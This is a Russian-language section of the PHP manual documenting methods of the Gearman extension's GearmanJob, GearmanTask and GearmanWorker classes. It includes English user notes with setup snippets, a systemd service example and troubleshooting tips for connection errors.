GearmanJob::status — Отправка статуса задания (устаревший метод)

Описание

public GearmanJob::status(int $numerator, int $denominator): bool

Посылает на сервер задач и всем слушающим клиентам статус текущей работы. С помощью этого метода можно узнать, какой процент задания выполнен.

Замечание:

Этот метод был заменён на GearmanJob::sendStatus() в версии 0.6.0 модуля Gearman.

Список параметров

numerator

Доля выполненной работы.

denominator

Количество всей работы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::jobStatus() - Получение статуса выполнения фонового задания
  • GearmanTask::taskDenominator() - Получить знаменатель процента выполненной работы
  • GearmanTask::taskNumerator() - Получение числителя процента выполненной работы

User Contributed Notes

There are no user contributed notes for this page.


Получение уникального идентификатора

  • « GearmanJob::status
  • GearmanJob::warning »
  • PHP Manual
  • GearmanJob
  • Получение уникального идентификатора

GearmanJob::unique

(PECL gearman >= 0.5.0)

GearmanJob::unique — Получение уникального идентификатора

Описание

public GearmanJob::unique(): false|string

Возвращает уникальный идентификатор задания, присвоенный клиентом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Уникальный идентификатор или false, если задание ещё не инициализировано.

Смотрите также

  • GearmanClient::do() - Выполняет одну задачу и возвращает результат [Устаревший метод]
  • GearmanTask::uuid() - Получение уникального идентификатора задачи (устаревший метод)

User Contributed Notes

ben dot paulsen at myedu dot com 19-Dec-2011 12:56
I think it's worth noting that this function will not return the unique id specified by a client request unless GEARMAN_WORKER_GRAB_UNIQ is specified as an option to the worker instance as follows ...

<?php
  $worker= new GearmanWorker();
  $worker->addServer();
  $worker->addOptions(GEARMAN_WORKER_GRAB_UNIQ);
?>


Отправка предупреждения (устаревший метод)

  • « GearmanJob::unique
  • GearmanJob::workload »
  • PHP Manual
  • GearmanJob
  • Отправка предупреждения (устаревший метод)

GearmanJob::warning

(PECL gearman <= 0.5.0)

GearmanJob::warning — Отправка предупреждения (устаревший метод)

Описание

public GearmanJob::warning(string $warning): bool

Во время выполнения задания отправляет предупреждение.

Замечание:

Этот метод был заменён на GearmanJob::sendWarning() в версии 0.6.0 модуля Gearman.

Список параметров

warning

Сообщение предупреждения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::sendComplete() - Отправка результата и статуса завершения
  • GearmanJob::sendException() - Отправка исключения выполняющемуся заданию
  • GearmanJob::sendFail() - Отправка статуса неудачной операции

User Contributed Notes

There are no user contributed notes for this page.


Получение данных для обработки

  • « GearmanJob::warning
  • GearmanJob::workloadSize »
  • PHP Manual
  • GearmanJob
  • Получение данных для обработки

GearmanJob::workload

(PECL gearman >= 0.5.0)

GearmanJob::workload — Получение данных для обработки

Описание

public GearmanJob::workload(): string

Возвращает данные, переданные для обработки. Это сериализованные данные, с которыми будет работать обработчик.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сериализованные данные.

Смотрите также

  • GearmanClient::do() - Выполняет одну задачу и возвращает результат [Устаревший метод]
  • GearmanJob::workloadSize() - Получение размера обрабатываемых данных

User Contributed Notes

There are no user contributed notes for this page.


Получение размера обрабатываемых данных

  • « GearmanJob::workload
  • GearmanTask »
  • PHP Manual
  • GearmanJob
  • Получение размера обрабатываемых данных

GearmanJob::workloadSize

(PECL gearman >= 0.5.0)

GearmanJob::workloadSize — Получение размера обрабатываемых данных

Описание

public GearmanJob::workloadSize(): int

Возвращает размер данных, которые должен переработать обработчик заданий, в байтах.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Размер в байтах.

Смотрите также

  • GearmanJob::workload() - Получение данных для обработки

User Contributed Notes

There are no user contributed notes for this page.


Класс GearmanTask

(PECL gearman >= 0.5.0)

Введение

Обзор классов

class GearmanTask {
/* Методы */
public __construct()
public data(): false|string
public dataSize(): int|false
public functionName(): false|string
public isKnown(): bool
public isRunning(): bool
public jobHandle(): false|string
public recvData(int $data_len): false|array
public returnCode(): int
public sendWorkload(string $data): int|false
public taskDenominator(): false|int
public taskNumerator(): false|int
public unique(): false|string
}

Содержание

  • GearmanTask::__construct — Создаёт объект GearmanTask
  • GearmanTask::create — Создаёт задачу (устаревший метод)
  • GearmanTask::data — Получить данные, возвращённые для задачи
  • GearmanTask::dataSize — Получить размер возвращаемых данных
  • GearmanTask::function — Получить имя связанной функции (устаревший метод)
  • GearmanTask::functionName — Получить имя функции
  • GearmanTask::isKnown — Определение, известно ли серверу об этой задачи
  • GearmanTask::isRunning — Проверяет, выполняется ли задача в данный момент
  • GearmanTask::jobHandle — Получить дескриптор задания
  • GearmanTask::recvData — Чтение данных работы или результата задачи в буфер
  • GearmanTask::returnCode — Получить последний код возврата
  • GearmanTask::sendData — Отправка данных задачи (устаревший метод)
  • GearmanTask::sendWorkload — Отправка данных задачи
  • GearmanTask::taskDenominator — Получить знаменатель процента выполненной работы
  • GearmanTask::taskNumerator — Получение числителя процента выполненной работы
  • GearmanTask::unique — Получение уникального идентификатора задачи
  • GearmanTask::uuid — Получение уникального идентификатора задачи (устаревший метод)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект GearmanTask

  • « GearmanTask
  • GearmanTask::create »
  • PHP Manual
  • GearmanTask
  • Создаёт объект GearmanTask

GearmanTask::__construct

(PECL gearman >= 0.5.0)

GearmanTask::__construct — Создаёт объект GearmanTask

Описание

public GearmanTask::__construct()

Создаёт объект GearmanTask, представляющий задачу на обработку, которая в дальнейшем будет отправлена на сервер.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса GearmanTask.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт задачу (устаревший метод)

  • « GearmanTask::__construct
  • GearmanTask::data »
  • PHP Manual
  • GearmanTask
  • Создаёт задачу (устаревший метод)

GearmanTask::create

(PECL gearman <= 0.5.0)

GearmanTask::create — Создаёт задачу (устаревший метод)

Описание

public GearmanTask::create(): GearmanTask|false

Возвращает новый объект класса GearmanTask.

Замечание:

Этот метод был удалён в версии 0.6.0 модуля Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса GearmanTask или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить данные, возвращённые для задачи

  • « GearmanTask::create
  • GearmanTask::dataSize »
  • PHP Manual
  • GearmanTask
  • Получить данные, возвращённые для задачи

GearmanTask::data

(PECL gearman >= 0.5.0)

GearmanTask::data — Получить данные, возвращённые для задачи

Описание

public GearmanTask::data(): false|string

Получает данные, возвращаемые обработчиком по завершении работы задачи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сериализованные данные или false, если обработчик не предоставил данных.

Смотрите также

  • GearmanTask::dataSize() - Получить размер возвращаемых данных

User Contributed Notes

There are no user contributed notes for this page.


Получить размер возвращаемых данных

  • « GearmanTask::data
  • GearmanTask::function »
  • PHP Manual
  • GearmanTask
  • Получить размер возвращаемых данных

GearmanTask::dataSize

(PECL gearman >= 0.5.0)

GearmanTask::dataSize — Получить размер возвращаемых данных

Описание

public GearmanTask::dataSize(): int|false

Возвращает размер данных задачи, которые вернул обработчик.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Размер данных или false, если данных предоставлено не было.

Смотрите также

  • GearmanTask::data() - Получить данные, возвращённые для задачи

User Contributed Notes

There are no user contributed notes for this page.


Получить имя связанной функции (устаревший метод)

  • « GearmanTask::dataSize
  • GearmanTask::functionName »
  • PHP Manual
  • GearmanTask
  • Получить имя связанной функции (устаревший метод)

GearmanTask::function

(PECL gearman <= 0.5.0)

GearmanTask::function — Получить имя связанной функции (устаревший метод)

Описание

public GearmanTask::function(): string

Возвращает имя функции, с которой связано эта задача. Эту функцию вызывает обработчик в процессе работы с данными.

Замечание:

Этот метод был заменён на GearmanTask::functionName() в версии 0.6.0 модуля Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя функции.

User Contributed Notes

There are no user contributed notes for this page.


Получить имя функции

  • « GearmanTask::function
  • GearmanTask::isKnown »
  • PHP Manual
  • GearmanTask
  • Получить имя функции

GearmanTask::functionName

(PECL gearman >= 0.6.0)

GearmanTask::functionName — Получить имя функции

Описание

public GearmanTask::functionName(): false|string

Возвращает имя функции, с которой связана задача. Эту функцию вызывает обработчик в процессе работы с данными.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя функции или false, если задача ещё не создана.

User Contributed Notes

There are no user contributed notes for this page.


Определение, известно ли серверу об этой задачи

  • « GearmanTask::functionName
  • GearmanTask::isRunning »
  • PHP Manual
  • GearmanTask
  • Определение, известно ли серверу об этой задачи

GearmanTask::isKnown

(PECL gearman >= 0.5.0)

GearmanTask::isKnown — Определение, известно ли серверу об этой задачи

Описание

public GearmanTask::isKnown(): bool

Определяет, известно ли серверу заданий об этой задачи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если задача известна, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, выполняется ли задача в данный момент

  • « GearmanTask::isKnown
  • GearmanTask::jobHandle »
  • PHP Manual
  • GearmanTask
  • Проверяет, выполняется ли задача в данный момент

GearmanTask::isRunning

(PECL gearman >= 0.5.0)

GearmanTask::isRunning — Проверяет, выполняется ли задача в данный момент

Описание

public GearmanTask::isRunning(): bool

Указывает, выполняется ли в данное время задача.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если задача выполняется, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Получить дескриптор задания

  • « GearmanTask::isRunning
  • GearmanTask::recvData »
  • PHP Manual
  • GearmanTask
  • Получить дескриптор задания

GearmanTask::jobHandle

gearman_job_handle

(PECL gearman >= 0.5.0)

GearmanTask::jobHandle -- gearman_job_handle — Получить дескриптор задания

Описание

public GearmanTask::jobHandle(): false|string

Возвращает дескриптор задания для этой задачи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Описатель объекта работы или false, если задача ещё не создана.

Смотрите также

  • GearmanClient::doJobHandle() - Получить дескриптор выполняющейся задачи

User Contributed Notes

chris at cmbuckley dot co dot uk 14-Aug-2013 08:38
The job handle is not assigned until the task is received and queued by the job server, so you will need to use one of the client callbacks to access the handle:

<?php
$client->setCreatedCallback(function ($task) {
    var_dump($task->jobHandle()); // "H:server:1"
});
$task = $client->addTask('function', 'workload');
var_dump($task->jobHandle()); // ""


Чтение данных работы или результата задачи в буфер

  • « GearmanTask::jobHandle
  • GearmanTask::returnCode »
  • PHP Manual
  • GearmanTask
  • Чтение данных работы или результата задачи в буфер

GearmanTask::recvData

(PECL gearman >= 0.5.0)

GearmanTask::recvData — Чтение данных работы или результата задачи в буфер

Описание

public GearmanTask::recvData(int $data_len): false|array

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Список параметров

data_len

Размер данных для чтения.

Возвращаемые значения

Массив, в котором первый элемент представляет размер прочитанных данных, а второй - буферизованные данные. В случае неудачи при чтении, метод вернёт false.

Смотрите также

  • GearmanTask::sendData() - Отправка данных задачи (устаревший метод)

User Contributed Notes

There are no user contributed notes for this page.


Получить последний код возврата

  • « GearmanTask::recvData
  • GearmanTask::sendData »
  • PHP Manual
  • GearmanTask
  • Получить последний код возврата

GearmanTask::returnCode

(PECL gearman >= 0.5.0)

GearmanTask::returnCode — Получить последний код возврата

Описание

public GearmanTask::returnCode(): int

Возвращает последний код возврата для этой задачи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Допустимый в Gearman код возврата.

Смотрите также

  • GearmanClient::returnCode() - Получить последний код возврата Gearman

User Contributed Notes

There are no user contributed notes for this page.


Отправка данных задачи (устаревший метод)

  • « GearmanTask::returnCode
  • GearmanTask::sendWorkload »
  • PHP Manual
  • GearmanTask
  • Отправка данных задачи (устаревший метод)

GearmanTask::sendData

(PECL gearman <= 0.5.0)

GearmanTask::sendData — Отправка данных задачи (устаревший метод)

Описание

public GearmanTask::sendData(string $data): int

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Список параметров

data

Передаваемые обработчику данные.

Возвращаемые значения

Размер переданных данных или false в случае неудачи.

Смотрите также

  • GearmanTask::recvData() - Чтение данных работы или результата задачи в буфер

User Contributed Notes

There are no user contributed notes for this page.


Отправка данных задачи

  • « GearmanTask::sendData
  • GearmanTask::taskDenominator »
  • PHP Manual
  • GearmanTask
  • Отправка данных задачи

GearmanTask::sendWorkload

(PECL gearman >= 0.6.0)

GearmanTask::sendWorkload — Отправка данных задачи

Описание

public GearmanTask::sendWorkload(string $data): int|false

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Список параметров

data

Передаваемые обработчику данные.

Возвращаемые значения

Размер переданных данных или false в случае неудачи.

Смотрите также

  • GearmanTask::recvData() - Чтение данных работы или результата задачи в буфер

User Contributed Notes

There are no user contributed notes for this page.


Получить знаменатель процента выполненной работы

  • « GearmanTask::sendWorkload
  • GearmanTask::taskNumerator »
  • PHP Manual
  • GearmanTask
  • Получить знаменатель процента выполненной работы

GearmanTask::taskDenominator

(PECL gearman >= 0.5.0)

GearmanTask::taskDenominator — Получить знаменатель процента выполненной работы

Описание

public GearmanTask::taskDenominator(): false|int

Получает знаменатель дроби, который используется для определения процента выполненной работы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Число от 0 до 100 или false, если определить значение не удалось.

Смотрите также

  • GearmanTask::taskNumerator() - Получение числителя процента выполненной работы

User Contributed Notes

There are no user contributed notes for this page.


Получение числителя процента выполненной работы

  • « GearmanTask::taskDenominator
  • GearmanTask::unique »
  • PHP Manual
  • GearmanTask
  • Получение числителя процента выполненной работы

GearmanTask::taskNumerator

(PECL gearman >= 0.5.0)

GearmanTask::taskNumerator — Получение числителя процента выполненной работы

Описание

public GearmanTask::taskNumerator(): false|int

Возвращает числитель дроби, которая используется для вычисления процента выполненной работы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Число от 0 до 100 или false, если значение определить не удалось.

Смотрите также

  • GearmanTask::taskDenominator() - Получить знаменатель процента выполненной работы

User Contributed Notes

There are no user contributed notes for this page.


Получение уникального идентификатора задачи

  • « GearmanTask::taskNumerator
  • GearmanTask::uuid »
  • PHP Manual
  • GearmanTask
  • Получение уникального идентификатора задачи

GearmanTask::unique

(PECL gearman >= 0.6.0)

GearmanTask::unique — Получение уникального идентификатора задачи

Описание

public GearmanTask::unique(): false|string

Возвращает уникальный идентификатор этой задачи. Этот идентификатор присваивает GearmanClient, в отличие от дескриптора задания, который устанавливает сервер заданий Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Уникальный идентификатор или false, если идентификатор не присвоен.

Смотрите также

  • GearmanClient::do() - Выполняет одну задачу и возвращает результат [Устаревший метод]
  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме

User Contributed Notes

There are no user contributed notes for this page.


Получение уникального идентификатора задачи (устаревший метод)

  • « GearmanTask::unique
  • GearmanWorker »
  • PHP Manual
  • GearmanTask
  • Получение уникального идентификатора задачи (устаревший метод)

GearmanTask::uuid

(PECL gearman <= 0.5.0)

GearmanTask::uuid — Получение уникального идентификатора задачи (устаревший метод)

Описание

public GearmanTask::uuid(): string

Возвращает уникальный идентификатор этой задачи. Этот идентификатор присваивает GearmanClient, в отличие от идентификатора объекта задания, который устанавливает сервер задач.

Замечание:

Этот метод был заменён на GearmanTask::unique() в версии 0.6.0 модуля Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Уникальный идентификатор или false, если идентификатор не назначен.

Смотрите также

  • GearmanClient::do() - Выполняет одну задачу и возвращает результат [Устаревший метод]
  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме

User Contributed Notes

There are no user contributed notes for this page.


Класс GearmanWorker

(PECL gearman >= 0.5.0)

Введение

Обзор классов

class GearmanWorker {
/* Методы */
public __construct()
public addFunction(
string $function_name,
callable $function,
mixed $context = null,
int $timeout = 0
): bool
public addOptions(int $option): true
public addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool
public addServers(string $servers = null, bool $setupExceptionHandler = true): bool
public error(): string|false
public getErrno(): int
public options(): int
public register(string $function_name, int $timeout = 0): bool
public removeOptions(int $option): true
public returnCode(): int
public setId(string $id): bool
public setOptions(int $option): true
public setTimeout(int $timeout): true
public timeout(): int
public unregister(string $function_name): bool
public unregisterAll(): bool
public wait(): bool
public work(): bool
}

Содержание

  • GearmanWorker::addFunction — Регистрация и добавление callback-функции
  • GearmanWorker::addOptions — Добавление настроек обработчика
  • GearmanWorker::addServer — Добавление сервера заданий
  • GearmanWorker::addServers — Добавление серверов заданий
  • GearmanWorker::clone — Создание копии обработчика
  • GearmanWorker::__construct — Создание объекта GearmanWorker
  • GearmanWorker::echo — Проверка отклика серверов заданий
  • GearmanWorker::error — Получение последней обнаруженной ошибки
  • GearmanWorker::getErrno — Получение номера ошибки
  • GearmanWorker::options — Получение настроек обработчика
  • GearmanWorker::register — Регистрация функции на сервере заданий
  • GearmanWorker::removeOptions — Удаление настроек обработчика
  • GearmanWorker::returnCode — Получение последнего кода возврата Gearman
  • GearmanWorker::setId — Назначает обработчику идентификатор, чтобы в дальнейшем иметь возможность опросить все доступные обработчики
  • GearmanWorker::setOptions — Установка настроек обработчика
  • GearmanWorker::setTimeout — Задание времени ожидания ввода/вывода на сокете
  • GearmanWorker::timeout — Получение значения время ожидания запросов на сокете
  • GearmanWorker::unregister — Удалить регистрацию имени функции на всех серверах заданий
  • GearmanWorker::unregisterAll — Удаление регистрации всех имён функций на серверах заданий
  • GearmanWorker::wait — Ожидание запроса с одного из сервера задач
  • GearmanWorker::work — Ожидание и выполнение заданий

User Contributed Notes

szhvoj@gmail!com 03-Oct-2022 08:11
Use systemd for managing this process:

---- 8< ---- /lib/systemd/system/gearman-worker.service
[Unit]
Description=My own gearman worker

[Service]
ExecStart=/usr/bin/php /var/www/my-worker.php
Restart=always

[Install]
WantedBy=multi-user.target
---- >8 ----  /lib/systemd/system/gearman-worker.service
systemctl daemon-reload
systemctl enable gearman-worker
systemctl start gearman-worker
spacewalker2002 at ukr dot net 26-Apr-2013 08:09
For background run use:

exec("nohup php worker.php >/dev/null 2>/dev/null &");


Регистрация и добавление callback-функции

  • « GearmanWorker
  • GearmanWorker::addOptions »
  • PHP Manual
  • GearmanWorker
  • Регистрация и добавление callback-функции

GearmanWorker::addFunction

(PECL gearman >= 0.5.0)

GearmanWorker::addFunction — Регистрация и добавление callback-функции

Описание

public GearmanWorker::addFunction(
string $function_name,
callable $function,
mixed $context = null,
int $timeout = 0
): bool

Регистрирует имя функции на сервере заданий и добавляет ссылку на эту функцию для обратного вызова. Необязательно можно задать дополнительные данные контекста, которые будет использоваться во время вызова callback-функции и время ожидания.

Список параметров

function_name

Имя функции, которое необходимо зарегистрировать на сервере заданий.

function

Callback-функция, которая будет вызываться, когда сервер получит задание для зарегистрированного имени.

context

Ссылка на произвольные данные контекста приложения, к которым нужно обеспечить доступ из функции.

timeout

Временной интервал в секундах

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Простой обработчик использует дополнительные данные контекста приложения

<?php

# получаем обработчик gearman
$worker= new GearmanWorker();

# добавляем сервер по умолчанию (localhost)
$worker->addServer();

# определяем переменную, в которой будут храниться данные приложения
$count= 0;

# добавляем функцию "reverse"
$worker->addFunction("reverse", "reverse_cb", $count);

# запускаем обработчик
while ($worker->work());

function reverse_cb($job, &$count)
{
$count++;
return "$count: " . strrev($job->workload());
}

?>

Если клиент пошлёт два задания для функции reverse, то вывод будет следующим:

1: olleh
2: dlrow

Смотрите также

  • GearmanClient::do() - Выполняет одну задачу и возвращает результат [Устаревший метод]

User Contributed Notes

There are no user contributed notes for this page.


Добавление настроек обработчика

  • « GearmanWorker::addFunction
  • GearmanWorker::addServer »
  • PHP Manual
  • GearmanWorker
  • Добавление настроек обработчика

GearmanWorker::addOptions

(PECL gearman >= 0.6.0)

GearmanWorker::addOptions — Добавление настроек обработчика

Описание

public GearmanWorker::addOptions(int $option): true

Добавляет одну или несколько настроек к ранее установленным.

Список параметров

option

Добавляемые настройки

Возвращаемые значения

Функция всегда возвращает true.

Смотрите также

  • GearmanWorker::options() - Получение настроек обработчика
  • GearmanClient::setOptions() - Установка настроек клиента
  • GearmanClient::removeOptions() - Удалить клиентские опции

User Contributed Notes

There are no user contributed notes for this page.


Добавление сервера заданий

  • « GearmanWorker::addOptions
  • GearmanWorker::addServers »
  • PHP Manual
  • GearmanWorker
  • Добавление сервера заданий

GearmanWorker::addServer

(PECL gearman >= 0.5.0)

GearmanWorker::addServer — Добавление сервера заданий

Описание

public GearmanWorker::addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool

Добавляет сервер заданий в обработчик. Обработчик хранит список серверов, от которых он может получать задания на обработку. Метод просто добавляет информацию о сервере в этот список, никакого обмена данными между сервером и обработчиком в этот момент не происходит.

Список параметров

host

Имя хоста сервера задач.

port

Порт сервера задач.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавление альтернативных Gearman серверов

<?php
$worker= new GearmanWorker();
$worker->addServer("10.0.0.1");
$worker->addServer("10.0.0.2", 7003);
?>

Смотрите также

  • GearmanWorker::addServers() - Добавление серверов заданий

User Contributed Notes

anubhav dot jha at gmail dot com 02-May-2017 11:26
I was receving following message on add server Uncaught exception 'GearmanException' with message 'Failed to set exception option' in <<filename>>:<<linenumber >>
 was on centos 6.5

fixed by following steps:
yum install gearmand
/etc/init.d/gearmand start
mike at eastghost dot com 18-Feb-2017 01:23
PHP Fatal error:  Uncaught exception 'GearmanException' with message 'Failed to set exception option'

also indicates the gearmand daemon is not running.
allevo 07-Feb-2017 10:28
On Ubuntu (php7 php-gearman/xenial,now 2.0.2+1.1.2-1+deb.sury.org~xenial+1 amd64) this function throws a GearmanException.
Please use in try catch
liv_romania at yahoo dot com 18-Jul-2015 03:14
To properly test the server added you could use the following code:

<?php
// create the worker
$worker= new GearmanWorker();

// add the  job server (bad host/port)
$worker->addServer('127.0.0.2', 4731);

// define a variable to hold application data
$count = 0;

// add the reverse function
$worker->addFunction('reverse', 'my_reverse_function', $count);

// test job server response
if (!@$worker->echo('test data')) {
    die($worker->error());
}

// start the worker listening for job submissions
while ($worker->work());

function my_reverse_function($job, &$count)
{
    $count++;

    return $count . ': ' . strrev($job->workload()) . "\n";
}
?>
617137379 at qq dot com 30-Oct-2013 08:10
No socket I/O happens in addserver.
gabe dot spradlin at gmail dot com 27-Sep-2013 03:42
The manual states that you get a TRUE on success and FALSE on failure. When I have attempted to connect to a server that is powered off I still get TRUE. The return from returnCode() is 0 which is the same as the returnCode() from a successful connection.

I have not yet found a way around this.
magge 14-Oct-2012 07:21
If you suddenly start getting a:

PHP Fatal error:  Uncaught exception 'GearmanException' with message 'Failed to set exception option' in

...on your GearmanWorker::work() calls, I was able to fix this by specifying values to GearmanWorker::addServer(), even if they are the same as the documented default values.

Crashes:

<?php
$gmw = new GearmanWorker();
$gmw->addServer();
$gmw->work();
?>

Works:

<?php
$gmw = new GearmanWorker();
$gmw->addServer("127.0.0.1", 4730);
$gmw->work();
?>

Go figure. :)


Добавление серверов заданий

  • « GearmanWorker::addServer
  • GearmanWorker::clone »
  • PHP Manual
  • GearmanWorker
  • Добавление серверов заданий

GearmanWorker::addServers

(PECL gearman >= 0.5.0)

GearmanWorker::addServers — Добавление серверов заданий

Описание

public GearmanWorker::addServers(string $servers = null, bool $setupExceptionHandler = true): bool

Добавляет один или несколько серверов задач в данный обработчик. Обработчик хранит список серверов, от которых он может получать задания на обработку. Метод просто добавляет информацию о серверах в этот список, никакого обмена данными между сервером и обработчиком в этот момент не происходит.

Список параметров

servers

Список разделённых запятой серверов в формате хост:порт. Если порт не указан, по умолчанию принимается номер 4730.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавление двух серверов заданий

<?php

$worker= new GearmanWorker();
$worker->addServers("10.0.0.1,10.0.0.2:7003");

?>

Смотрите также

  • GearmanWorker::addServer() - Добавление сервера заданий

User Contributed Notes

matthew day 23-Nov-2011 12:45
as of this note, the current released version of gearman doesn't really work so well to add multiple servers, although it's fixed in SVN

see: https://bugs.php.net/bug.php?id=59423

if i just add one server to my worker, it works just fine and sits and waits for a job to do

if I have more than 1 server in my worker, i get a timeout warning which causes the worker to generate a php notice and the while loop fails.


Создание копии обработчика

  • « GearmanWorker::addServers
  • GearmanWorker::__construct »
  • PHP Manual
  • GearmanWorker
  • Создание копии обработчика

GearmanWorker::clone

(PECL gearman >= 0.5.0)

GearmanWorker::clone — Создание копии обработчика

Описание

public GearmanWorker::clone(): void

Создаёт копию обработчика.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса GearmanWorker.

User Contributed Notes

There are no user contributed notes for this page.


Создание объекта GearmanWorker

  • « GearmanWorker::clone
  • GearmanWorker::echo »
  • PHP Manual
  • GearmanWorker
  • Создание объекта GearmanWorker

GearmanWorker::__construct

(PECL gearman >= 0.5.0)

GearmanWorker::__construct — Создание объекта GearmanWorker

Описание

public GearmanWorker::__construct()

Создаёт объект GearmanWorker, представляющий обработчик, который подключается к серверу задач и принимает задачи для выполнения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса GearmanWorker.

Смотрите также

  • GearmanWorker::clone() - Создание копии обработчика

User Contributed Notes

There are no user contributed notes for this page.


Проверка отклика серверов заданий

  • « GearmanWorker::__construct
  • GearmanWorker::error »
  • PHP Manual
  • GearmanWorker
  • Проверка отклика серверов заданий

GearmanWorker::echo

(PECL gearman >= 0.6.0)

GearmanWorker::echo — Проверка отклика серверов заданий

Описание

public GearmanWorker::echo(string $workload): bool

Посылает данные всем серверам задач, чтобы проверить, какие из серверов ответят. Это отладочная функция, для проверки отклика серверов.

Список параметров

workload

Произвольные сериализованные данные

Возвращаемые значения

Стандартное для Gearman возвращаемое значение.

Смотрите также

  • GearmanClient::echo() - Отправляет данные всем серверам заданий, чтобы проверить отклик [Устаревший метод]

User Contributed Notes

There are no user contributed notes for this page.


Получение последней обнаруженной ошибки

  • « GearmanWorker::echo
  • GearmanWorker::getErrno »
  • PHP Manual
  • GearmanWorker
  • Получение последней обнаруженной ошибки

GearmanWorker::error

(PECL gearman >= 0.5.0)

GearmanWorker::error — Получение последней обнаруженной ошибки

Описание

public GearmanWorker::error(): string|false

Возвращает строку с сообщением о последней обнаруженной ошибке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка с описанием ошибки или false, если сообщение об ошибке отсутствует.

Смотрите также

  • GearmanWorker::getErrno() - Получение номера ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получение номера ошибки

  • « GearmanWorker::error
  • GearmanWorker::options »
  • PHP Manual
  • GearmanWorker
  • Получение номера ошибки

GearmanWorker::getErrno

(PECL gearman >= 0.5.0)

GearmanWorker::getErrno — Получение номера ошибки

Описание

public GearmanWorker::getErrno(): int

Возвращает номер ошибки, когда какой-либо метод вернул значение GEARMAN_ERRNO.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Допустимый номер ошибки.

Смотрите также

  • GearmanWorker::error() - Получение последней обнаруженной ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получение настроек обработчика

  • « GearmanWorker::getErrno
  • GearmanWorker::register »
  • PHP Manual
  • GearmanWorker
  • Получение настроек обработчика

GearmanWorker::options

(PECL gearman >= 0.6.0)

GearmanWorker::options — Получение настроек обработчика

Описание

public GearmanWorker::options(): int

Получает настройки обработчика, ранее установленные для него.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущие настройки обработчика.

Смотрите также

  • GearmanWorker::setOptions() - Установка настроек обработчика

User Contributed Notes

There are no user contributed notes for this page.


Регистрация функции на сервере заданий

  • « GearmanWorker::options
  • GearmanWorker::removeOptions »
  • PHP Manual
  • GearmanWorker
  • Регистрация функции на сервере заданий

GearmanWorker::register

(PECL gearman >= 0.6.0)

GearmanWorker::register — Регистрация функции на сервере заданий

Описание

public GearmanWorker::register(string $function_name, int $timeout = 0): bool

Регистрирует имя функции на сервере заданий и дополнительно задаёт время ожидания. Время ожидания определяет, сколько секунд сервер будет ждать, после чего объявит задание проваленным. Нулевое значение времени ожидания означает отсутствие ограничения.

Список параметров

function_name

Имя функции, которое необходимо зарегистрировать на сервере.

timeout

Временной интервал в секундах.

Возвращаемые значения

Стандартное возвращаемое значение Gearman.

Смотрите также

  • GearmanWorker::unregister() - Удалить регистрацию имени функции на всех серверах заданий
  • GearmanWorker::unregisterAll() - Удаление регистрации всех имён функций на серверах заданий

User Contributed Notes

There are no user contributed notes for this page.


Удаление настроек обработчика

  • « GearmanWorker::register
  • GearmanWorker::returnCode »
  • PHP Manual
  • GearmanWorker
  • Удаление настроек обработчика

GearmanWorker::removeOptions

(PECL gearman >= 0.6.0)

GearmanWorker::removeOptions — Удаление настроек обработчика

Описание

public GearmanWorker::removeOptions(int $option): true

Удаляет одну или несколько настроек обработчика.

Список параметров

option

Настройки, которые необходимо удалить.

Возвращаемые значения

Функция всегда возвращает true.

Смотрите также

  • GearmanWorker::options() - Получение настроек обработчика
  • GearmanWorker::setOptions() - Установка настроек обработчика
  • GearmanWorker::addOptions() - Добавление настроек обработчика

User Contributed Notes

There are no user contributed notes for this page.


Получение последнего кода возврата Gearman

  • « GearmanWorker::removeOptions
  • GearmanWorker::setId »
  • PHP Manual
  • GearmanWorker
